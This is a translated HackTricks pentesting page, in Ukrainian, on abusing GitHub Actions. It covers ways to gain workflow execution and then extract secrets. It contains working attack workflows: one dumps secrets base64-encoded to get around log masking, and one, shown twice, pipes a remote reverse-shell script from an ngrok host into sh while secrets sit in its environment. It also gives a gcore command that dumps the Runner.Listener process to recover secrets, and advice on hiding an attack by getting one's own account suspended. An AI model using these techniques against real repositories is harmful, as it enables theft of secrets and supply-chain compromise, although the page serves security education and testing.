Abusing Github Actions

Підтримка HackTricks

Основна інформація

На цій сторінці ви знайдете:

  • резюме всіх наслідків для зловмисника, який зміг отримати доступ до Github Action

  • Різні способи отримати доступ до дії:

  • Маючи дозволи на створення дії

  • Зловживання тригерами, пов'язаними з pull request

  • Зловживання іншими зовнішніми техніками доступу

  • Півотування з уже скомпрометованого репозиторію

  • Нарешті, розділ про техніки пост-експлуатації для зловживання дією зсередини (оскільки викликані наслідки)

Резюме наслідків

Для введення про Github Actions перевірте основну інформацію.

У разі, якщо ви можете виконувати довільні Github дії/впроваджувати код у репозиторій, ви могли б:

  • Викрасти секрети з цього репозиторію/організації.

  • Якщо ви можете лише впроваджувати, ви можете викрасти все, що вже присутнє в робочому процесі.

  • Зловживати привілеями репозиторію для доступу до інших платформ, таких як AWS та GCP.

  • Виконувати код у кастомних робітниках (якщо використовуються кастомні робітники) і намагатися півотувати звідти.

  • Перезаписувати код репозиторію.

  • Це залежить від привілеїв GITHUB_TOKEN (якщо такі є).

  • Скомпрометувати деплойменти та інші артефакти.

  • Якщо код розгортає або зберігає щось, ви могли б змінити це і отримати подальший доступ.

GITHUB_TOKEN

Цей "секрет" (який походить з ${{ secrets.GITHUB_TOKEN }} та ${{ github.token }}) надається, коли адміністратор активує цю опцію:

Цей токен є тим самим, який буде використовувати Github Application, тому він може отримати доступ до тих самих кінцевих точок: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github повинен випустити потік, який дозволяє крос-репозиторний доступ у GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи GITHUB_TOKEN.

Ви можете переглянути можливі дозволи цього токена за адресою: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Зверніть увагу, що токен закінчує термін дії після завершення роботи. Ці токени виглядають так: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Деякі цікаві речі, які ви можете зробити з цим токеном:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Зверніть увагу, що в кількох випадках ви зможете знайти токени користувача github всередині середовищ Github Actions або в секретах. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.

Список секретів у виході Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Отримати зворотний шелл з секретами

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Можливо перевірити дозволи, надані Github Token в репозиторіях інших користувачів, перевіряючи журнали дій:

Дозволене виконання

Це був би найпростіший спосіб скомпрометувати Github дії, оскільки цей випадок передбачає, що у вас є доступ до створення нового репозиторію в організації або права на запис у репозиторії.

Якщо ви в цьому сценарії, ви можете просто перевірити техніки постексплуатації.

Виконання з створення репозиторію

У випадку, якщо члени організації можуть створювати нові репозиторії і ви можете виконувати github дії, ви можете створити новий репозиторій і вкрасти секрети, встановлені на рівні організації.

Виконання з нової гілки

Якщо ви можете створити нову гілку в репозиторії, який вже містить налаштовану Github Action, ви можете модифікувати її, завантажити вміст, а потім виконати цю дію з нової гілки. Таким чином, ви можете екстрагувати секрети на рівні репозиторію та організації (але вам потрібно знати, як вони називаються).

Ви можете зробити модифіковану дію виконуваною вручну, коли створюється PR або коли якийсь код завантажується (залежно від того, наскільки помітними ви хочете бути):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Виконання з форку

Існують різні тригери, які можуть дозволити зловмиснику виконати Github Action з іншого репозиторію. Якщо ці тригери налаштовані неналежним чином, зловмисник може їх скомпрометувати.

pull_request

Тригер робочого процесу pull_request буде виконувати робочий процес щоразу, коли отримується запит на злиття з деякими винятками: за замовчуванням, якщо це перше співробітництво, деякий керівник повинен схвалити виконання робочого процесу:

Оскільки за замовчуванням обмеження стосується перших учасників, ви можете внести виправлення дійсної помилки/друкарської помилки і потім надіслати інші PR, щоб зловживати вашими новими привілеями pull_request.

Я це протестував, і це не працює: Інший варіант - створити обліковий запис з ім'ям когось, хто вніс внесок у проект і видалив свій обліковий запис.

Більше того, за замовчуванням запобігає запису прав і доступу до секретів цільового репозиторію, як зазначено в документації:

За винятком GITHUB_TOKEN, секрети не передаються виконавцю під час тригера робочого процесу з форкованого репозиторію. GITHUB_TOKEN має права лише на читання у запитах на злиття з форкованих репозиторіїв.

Зловмисник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні дії. Однак він не зможе вкрасти секрети або перезаписати репозиторій через зазначені обмеження.

Так, якщо зловмисник змінить у PR github action, який буде тригером, його Github Action буде використано, а не той, що з оригінального репозиторію!

Оскільки зловмисник також контролює код, що виконується, навіть якщо немає секретів або прав на запис у GITHUB_TOKEN, зловмисник може, наприклад, завантажити шкідливі артефакти.

pull_request_target

Тригер робочого процесу pull_request_target має права на запис до цільового репозиторію та доступ до секретів (і не запитує дозволу).

Зверніть увагу, що тригер робочого процесу pull_request_target виконується в базовому контексті і не в контексті, наданому PR (щоб не виконувати ненадійний код). Для отримання додаткової інформації про pull_request_target перевірте документацію. Більше того, для отримання додаткової інформації про це конкретне небезпечне використання перевірте цей пост у блозі github.

Це може виглядати так, ніби виконуваний робочий процес є тим, що визначено в базі, а не в PR, тому це безпечно використовувати pull_request_target, але є кілька випадків, коли це не так.

І цей тригер матиме доступ до секретів.

workflow_run

Тригер workflow_run дозволяє запустити робочий процес з іншого, коли він завершений, запитаний або в процесі.

У цьому прикладі робочий процес налаштовано на виконання після завершення окремого робочого процесу "Запустити тести":

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

Цей тип робочого процесу може бути атакований, якщо він залежить від робочого процесу, який може бути запущений зовнішнім користувачем через pull_request або pull_request_target. Кілька вразливих прикладів можна знайти в цьому блозі. Перший з них полягає в тому, що workflow_run запущений робочий процес завантажує код атакуючого: ${{ github.event.pull_request.head.sha }} Другий полягає в передачі артефакту з недовіреного коду до workflow_run робочого процесу та використанні вмісту цього артефакту таким чином, що він стає вразливим до RCE.

workflow_call

TODO

TODO: Перевірити, чи при виконанні з pull_request використовується/завантажується код з оригіналу чи з форкнутого PR

Зловживання виконанням з форку

Ми згадали всі способи, якими зовнішній атакуючий може змусити робочий процес github виконатися, тепер давайте подивимося, як ці виконання, якщо погано налаштовані, можуть бути зловживані:

Виконання недовіреного чекауту

У випадку pull_request, робочий процес буде виконуватися в контексті PR (тому він виконає код шкідливого PR), але хтось повинен спочатку його авторизувати і він буде виконуватися з деякими обмеженнями.

У випадку робочого процесу, що використовує pull_request_target або workflow_run, який залежить від робочого процесу, що може бути запущений з pull_request_target або pull_request, код з оригінального репозиторію буде виконуватися, тому атакуючий не може контролювати виконуваний код.

Однак, якщо дія має явний чекаут PR, який отримає код з PR (а не з бази), вона буде використовувати код, контрольований атакуючим. Наприклад (перевірте рядок 12, де завантажується код PR):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Потенційно недовірений код виконується під час npm install або npm build, оскільки скрипти збірки та посилання на пакети контролюються автором PR.

Гітхаб дорк для пошуку вразливих дій: event.pull_request pull_request_target extension:yml, однак існують різні способи налаштування робочих процесів для безпечного виконання, навіть якщо дія налаштована ненадійно (наприклад, використовуючи умовні оператори про те, хто є актором, що генерує PR).

Впровадження скриптів у контекст

Зверніть увагу, що є певні контексти github, значення яких контролюються користувачем, що створює PR. Якщо github action використовує ці дані для виконання чогось, це може призвести до випадкового виконання коду:

GITHUB_ENV Впровадження скриптів

З документів: Ви можете зробити змінну середовища доступною для будь-яких наступних кроків у робочому процесі, визначивши або оновивши змінну середовища та записавши це у файл середовища GITHUB_ENV.

Якщо атакуючий може впровадити будь-яке значення всередині цієї змінної середовища, він може впровадити змінні середовища, які можуть виконати код у наступних кроках, такі як LD_PRELOAD або NODE_OPTIONS.

Наприклад (це та це), уявіть робочий процес, який довіряє завантаженому артефакту для зберігання його вмісту всередині змінної середовища GITHUB_ENV. Атакуючий може завантажити щось на зразок цього, щоб скомпрометувати його:

Вразливі сторонні дії Github

Як згадувалося в цьому блозі, ця дія Github дозволяє отримувати артефакти з різних робочих процесів і навіть репозиторіїв.

Проблема в тому, що якщо параметр path не встановлений, артефакт витягується в поточний каталог і може перезаписати файли, які можуть бути пізніше використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, атакуючий може зловживати цим, щоб скомпрометувати інші робочі процеси, які довіряють артефакту.

Приклад вразливого робочого процесу:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Це можна атакувати за допомогою цього робочого процесу:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Інший зовнішній доступ

Викрадення репозиторію видаленого простору

Якщо обліковий запис змінює своє ім'я, інший користувач може зареєструвати обліковий запис з цим ім'ям через деякий час. Якщо репозиторій мав менше 100 зірок до зміни імені, Github дозволить новому зареєстрованому користувачу з таким же ім'ям створити репозиторій з таким же ім'ям, як і видалений.

Отже, якщо дія використовує репозиторій з неіснуючого облікового запису, все ще можливо, що зловмисник може створити цей обліковий запис і скомпрометувати дію.

Якщо інші репозиторії використовували залежності з репозиторіїв цього користувача, зловмисник зможе їх викрасти. Ось більш детальне пояснення: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Півотування репозиторіїв

У цьому розділі ми поговоримо про техніки, які дозволять півотувати з одного репозиторію в інший, припускаючи, що у нас є якийсь доступ до першого (перевірте попередній розділ).

Отруєння кешу

Кеш підтримується між виконаннями робочого процесу в одному гілці. Це означає, що якщо зловмисник скомпрометує пакет, який потім зберігається в кеші і завантажується та виконується більш привілейованим робочим процесом, він зможе також скомпрометувати цей робочий процес.

Отруєння артефактів

Робочі процеси можуть використовувати артефакти з інших робочих процесів і навіть репозиторіїв, якщо зловмисник зможе скомпрометувати Github Action, яка завантажує артефакт, що пізніше використовується іншим робочим процесом, він може скомпрометувати інші робочі процеси:


Після експлуатації з дії

Доступ до AWS та GCP через OIDC

Перевірте наступні сторінки:

Доступ до секретів

Якщо ви впроваджуєте вміст у скрипт, цікаво знати, як ви можете отримати доступ до секретів:

  • Якщо секрет або токен встановлено в змінну середовища, його можна безпосередньо отримати через середовище, використовуючи printenv.

Список секретів у виході Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Отримати зворотний шелл з секретами</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Якщо секрет використовується безпосередньо в виразі, згенерований shell-скрипт зберігається на диску і доступний.

cat /home/runner/work/_temp/*

* Для JavaScript дій секрети передаються через змінні середовища.
* ```bash
ps axe | grep node
  • Для кастомної дії ризик може варіюватися в залежності від того, як програма використовує секрет, отриманий з аргументу:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Зловживання самостійно розгорнутими виконавцями

Спосіб знайти, які Github Actions виконуються в не-Github інфраструктурі, - це шукати runs-on: self-hosted в конфігураційному yaml файлі Github Action.

Самостійно розгорнуті виконавці можуть мати доступ до додаткової чутливої інформації, до інших мережевих систем (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, більше ніж одна дія може виконуватись одночасно і зловмисна може вкрасти секрети іншої.

У самостійно розгорнуті виконавці також можливо отримати секрети з процесу _Runner.Listener_** який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Перевірте цей пост для отримання додаткової інформації.

Реєстр Docker-образів Github

Можливо створити Github дії, які будують і зберігають Docker-образ всередині Github. Приклад можна знайти в наступному розширювальному:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Як ви могли бачити в попередньому коді, реєстр Github розміщений на **`ghcr.io`**.

Користувач з правами читання над репозиторієм зможе завантажити Docker Image, використовуючи особистий токен доступу:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Тоді користувач може шукати викрадені секрети в шарах Docker-образу:

Чутлива інформація в журналах Github Actions

Навіть якщо Github намагається виявити секретні значення в журналах дій і уникнути їх відображення, інша чутлива інформація, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не налаштувати спеціально.

Приховування своїх слідів

(Техніка з тут) По-перше, будь-який PR, що створюється, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми не можемо видалити PR з інтернету, але є нюанс. Для облікових записів GitHub, які припинені GitHub, всі їхні PR автоматично видаляються і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі. Це приховає всі ваші активності на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR)

Організація в GitHub дуже активно повідомляє про облікові записи в GitHub. Все, що вам потрібно зробити, це поділитися "деякими речами" в Issue, і вони подбають про те, щоб ваш обліковий запис був припинений протягом 12 годин :p і ось, ви зробили свою експлуатацію невидимою на github.

Єдиний спосіб для організації дізнатися, що вони стали мішенню, - це перевірити журнали GitHub з SIEM, оскільки з інтерфейсу GitHub PR буде видалено.

Інструменти

Наступні інструменти корисні для знаходження робочих процесів Github Action і навіть для знаходження вразливих:

Last updated